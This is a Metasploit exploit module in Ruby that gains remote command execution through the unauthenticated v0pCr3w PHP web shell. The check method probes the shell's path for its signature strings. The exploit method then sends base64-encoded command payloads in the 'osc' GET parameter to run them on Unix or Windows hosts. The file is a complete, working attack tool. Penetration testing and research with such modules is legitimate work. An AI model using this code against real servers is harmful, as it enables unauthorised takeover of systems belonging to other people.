93 lines
2.6 KiB
Ruby
93 lines
2.6 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'v0pCr3w Web Shell Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a lack of authentication in the shell developed by v0pCr3w
|
|
and is widely reused in automated RFI payloads. This module takes advantage of the
|
|
shell's various methods to execute commands.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'bwall <bwall[at]openbwall.com>', # vuln discovery & msf module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '91841'],
|
|
[ 'URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell' ],
|
|
[ 'URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0' ]
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2000,
|
|
'BadChars' => '',
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd'
|
|
}
|
|
},
|
|
'Platform' => ['unix', 'win'],
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' =>
|
|
[
|
|
['v0pCr3w / Unix', { 'Platform' => 'unix' } ],
|
|
['v0pCr3w / Windows', { 'Platform' => 'win' } ]
|
|
],
|
|
'DisclosureDate' => 'Mar 23 2013',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]),
|
|
],self.class)
|
|
end
|
|
|
|
def check
|
|
shell = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path.to_s),
|
|
'vars_get' => {
|
|
'lol' => '1'
|
|
}
|
|
})
|
|
if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def http_send_command(cmd)
|
|
p = Rex::Text.encode_base64(cmd)
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path.to_s),
|
|
'vars_get' => {
|
|
'osc' => p
|
|
}
|
|
})
|
|
if not (res and res.code == 200)
|
|
fail_with(Failure::Unknown, 'Failed to execute the command.')
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
http_send_command(payload.encoded)
|
|
end
|
|
end
|